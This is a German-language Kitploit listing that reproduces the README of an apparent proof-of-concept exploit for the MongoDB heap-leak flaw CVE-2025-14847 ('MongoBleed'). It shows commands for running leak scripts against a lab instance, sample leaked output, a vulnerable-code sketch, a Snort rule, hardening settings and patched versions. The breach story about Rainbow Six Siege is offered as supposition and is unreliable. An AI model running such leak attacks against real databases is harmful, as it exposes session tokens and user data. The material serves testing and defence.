Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-14857-MongoBleed — Funktioneller Proof-of-Concept-Exploit für CVE-2025-14847 (MongoBleed), eine Pre-Authentication-Heap-Speicher-Offenlegungsschwachstelle in MongoDB. Enthält automatisierte Speicherleckerkennung, Musteranalyse und eine Docker-basierte Laborumgebung für autorisierte Sicherheitstests und Forschung. | Kitploit
Tools/GitHubGitHub/ermensonx/cve-2025-14857-mongobleed
SpeicherforensikSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubermensonx/cve-2025-14857-mongobleed

CVE-2025-14857-MongoBleed

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Funktioneller Proof-of-Concept-Exploit für CVE-2025-14847 (MongoBleed), eine Pre-Authentication-Heap-Speicher-Offenlegungsschwachstelle in MongoDB. Enthält automatisierte Speicherleckerkennung, Musteranalyse und eine Docker-basierte Laborumgebung für autorisierte Sicherheitstests und Forschung.

6vor 8 MonatenNoch nicht geprüft
Teilen

CVE-2025-14847 (MongoBleed) - Funktionierender PoC

Ausnutzung eines Speicherlecks in MongoDB - Simulierter R6-Angriff

CVE MongoDB Status Taxa

Vollständige Proof-of-Concept für CVE-2025-14847 (MongoBleed)
Getestet: ✅ MongoDB 7.0.5 | 14.300+ erfolgreiche Exploits | 4 durchgesickerte UUIDs


🎯 Über das Projekt

Dieses Repository enthält einen vollständig funktionsfähigen Proof-of-Concept (PoC) für die Schwachstelle CVE-2025-14847, bekannt als MongoBleed – ein kritischer Fehler, der eine Offenlegung von Heap-Speicher vor der Authentifizierung in MongoDB ermöglicht.

Kontext: Der Rainbow Six Siege-Vorfall

Im Dezember 2025 erlitt das Spiel Rainbow Six Siege einen massiven Angriff, der ~50.000 Spielerkonten kompromittierte. Es wird vermutet, dass Angreifer diese Schwachstelle im MongoDB-Backend ausgenutzt haben, um Folgendes preiszugeben:

  • 🔑 Server-Authentifizierungstoken (R6S_SERVER_AUTH_*)
  • 👤 Spieler-UUIDs und Session-IDs
  • 🛡️ Flags für Administratorrechte (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

Dieser PoC simuliert den Angriff mit realistischen R6-Daten.


🔥 Features

  • ✅ 100% funktionsfähiger Exploit gegen MongoDB 7.0.5
  • ✅ 3 Exploit-Tools:
    • poc.py - Hauptexploit mit Musteranalyse
    • live_leaker.py - Erweitertes inkrementelles Scannen
    • popular_heap.py - Skript zum Befüllen des Heaps mit Zieldaten
  • ✅ Vollständige Docker-Umgebung mit verwundbarem MongoDB
  • ✅ 1500+ simulierte Dokumente vom R6-Backend
  • ✅ Automatische Erkennung von 10 sensiblen Mustern (JWT, Token, UUIDs, IPs)
  • ✅ Strukturierte JSON-Berichte
  • ✅ Vollständige technische Dokumentation (200+ Seiten)

📊 Validierte Ergebnisse

Extrahiertes UUIDs (echter Nachweis)

root@kitploit:~
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

🚀 Quick Start

Voraussetzungen

  • Docker & Docker Compose
  • Python 3.8+

Installation

root@kitploit:~
# Repository klonen
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# Verwundbare Umgebung starten
docker-compose up -d

# Initialisierung abwarten (15-20 Sek.)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

Grundlegende Nutzung

root@kitploit:~
# 1. Heap mit R6-Daten füllen
python3 popular_heap.py 50

# 2. Verwundbarkeit prüfen
python3 poc.py --target 127.0.0.1 --check

# 3. Mit Live Leaker ausnutzen (EMPFOHLEN)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

Erwartete Ausgabe

root@kitploit:~
[!] MongoBleed Live Leaker Advanced
[!] Ziel: 127.0.0.1:27017
[!] Bereich: doc_len 200 → 3000 (offset=500)

[*] Fortschritt: doc_len=245/3000 | Versuche=100 | Erfolgsrate=100.0%

[!] R6-MUSTER ERKANNT (doc_len=245):
    [UUID] 1 neu(e):
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

🔬 Funktionsweise

Mechanismus der Schwachstelle

MongoDB ermöglicht die Komprimierung von Nachrichten mittels zlib. Die Schwachstelle liegt in der unzureichenden Validierung der deklarierten Größe gegenüber der tatsächlichen Größe:

root@kitploit:~
Angreifer → {compress: "zlib", uncompressedSize: 1MB, payload: <50 Bytes>}
          ↓
Server alloziert 1 MB Heap  ← SCHWACHSTELLE
          ↓
Server dekomprimiert nur 50 Bytes
          ↓
Server gibt gesamtes 1 MB zurück!
          └─ 50 Bytes = echte Daten
          └─ ~1 MB - 50 = SPEICHERLECK

Verwundbarer Code (vereinfacht)

root@kitploit:~
// VOR DEM PATCH
size_t uncompressedSize = header.uncompressedSize;  // ← Vom Angreifer kontrolliert
buffer = malloc(uncompressedSize);                  // ← Alloziert bösartige Größe
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← LECKT GESAMTEN PUFFER

📂 Projektstruktur

root@kitploit:~
MongoDBPoc/
├── poc.py                          # Hauptexploit
├── live_leaker.py                  # Inkrementelles Scannen (✨ Empfohlen)
├── popular_heap.py                 # Ladeskript
├── docker-compose.yml              # Verwundbares MongoDB 7.0.5
├── init-db.js                      # 1000 Spieler + 500 R6-Sessions
├── GUIA_TECNICO_COMPLETO.md       # Detaillierte Dokumentation (200+ Seiten)
├── README.MD                       # Dokumentation auf Englisch
└── Portugues/                      # Übersetzte Versionen
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

🛡️ Betroffene Versionen


🛡️ Erkennung und Abwehr

Snort-Signatur

root@kitploit:~
alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed-Versuch";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

Sichere Konfiguration (mongod.conf)

root@kitploit:~
net:
  bindIp: 127.0.0.1              # NIEMALS 0.0.0.0!
  compression:
    compressors: []              # zlib deaktivieren

security:
  authorization: enabled

Prioritäten für Gegenmaßnahmen

  1. 🔴 KRITISCH: Auf korrigierte Version aktualisieren
  2. 🟠 HOCH: zlib-Komprimierung deaktivieren
  3. 🟠 HOCH: Netzwerksegmentierung (Firewall)
  4. 🟡 MITTEL: Authentifizierung aktivieren

📚 Dokumentation

  • GUIA_TECNICO_COMPLETO.md - Vollständige technische Analyse (200+ Seiten)

    • Kontext des R6-Vorfalls
    • Mechanismus der Schwachstelle
    • Verwundbarer vs. korrigierter Code
    • Schritt-für-Schritt-Ausführung
    • Ergebnisse und Statistiken
    • IDS-Signaturen und Härtung
  • README.MD - Hauptdokumentation (Englisch)

  • Portugues/ - Übersetzte Versionen


⚠️ Rechtlicher Hinweis

root@kitploit:~
DIESES WERKZEUG DIENT NUR AUTORISIERTEN TESTS UND DER BILDUNG.

Nichtautorisierte Nutzung ist ILLEGAL und kann Folgendes nach sich ziehen:
- Strafrechtliche Verfolgung (gemäß brasilianischem Gesetz 12.737/2012)
- Hohe Geldstrafen
- Haft

Holen Sie IMMER eine SCHRIFTLICHE GENEHMIGUNG ein, bevor Sie testen.

Erlaubte Nutzung

  • ✅ Penetrationstests mit schriftlicher Genehmigung
  • ✅ Akademische Forschung in isolierten Umgebungen
  • ✅ Überprüfung von Patches durch Anbieter
  • ✅ Schulung von Sicherheitsteams

Verbotene Nutzung

  • ❌ Scannen oder Angreifen von Systemen ohne Genehmigung
  • ❌ Zugriff auf Produktionsdatenbanken
  • ❌ Verkauf oder Weaponisierung dieses Codes

🙏 Danksagungen

Autor: Ermenson Jr
Lizenz: MIT (Nur Bildungszwecke)
Datum: Januar 2026

Referenzen

  • MongoDB Security Advisory
  • CVE-2025-14847 NVD
  • Akamai SIRT: MongoBleed Analysis
  • Aikido Security

📧 Kontakt

Bei technischen Fragen oder Zusammenarbeit in der Sicherheitsforschung:

  • GitHub Issues: Nutzen Sie den Issue-Tab dieses Repositories
  • Akademische E-Mail: Im GitHub-Profil verfügbar

🌟 Falls dieses Projekt nützlich war

  • ⭐ Geben Sie diesem Repository einen Stern
  • 🔄 Teilen Sie es mit der Sicherheitscommunity
  • 📝 Zitieren Sie es in Ihrer akademischen Forschung
  • 🐛 Melden Sie Fehler oder Verbesserungsvorschläge über Issues

Entwickelt für verantwortungsvolle offensive Sicherheitsforschung.
Nicht verbunden mit Ubisoft, MongoDB Inc. oder Rainbow Six Siege.

🔒 Nutzen Sie es verantwortungsvoll. Sicherheit für alle. 🔒

Tool herunterladen
MetrikErgebnis
Getestetes MongoDB7.0.5 (Verwundbar)
Erfolgsrate100% (14.300/14.300 Anfragen)
Durchgesickerte UUIDs4 eindeutige
Gesamte Lecks33 verschiedene Strings
Größtes Leck176 Bytes/Anfrage
Erkannte MusterNetzwerklogs, UUIDs, Systempfade
MongoDB-SerieVerwundbare VersionenKorrigierte Version
8.2.x8.2.0 – 8.2.28.2.3
8.0.x8.0.0 – 8.0.168.0.17
7.0.x7.0.0 – 7.0.277.0.28
6.0.x6.0.0 – 6.0.266.0.27
5.0.x5.0.0 – 5.0.315.0.32
4.4.x4.4.0 – 4.4.294.4.30
≤ 4.2AlleKein Patch (EOL)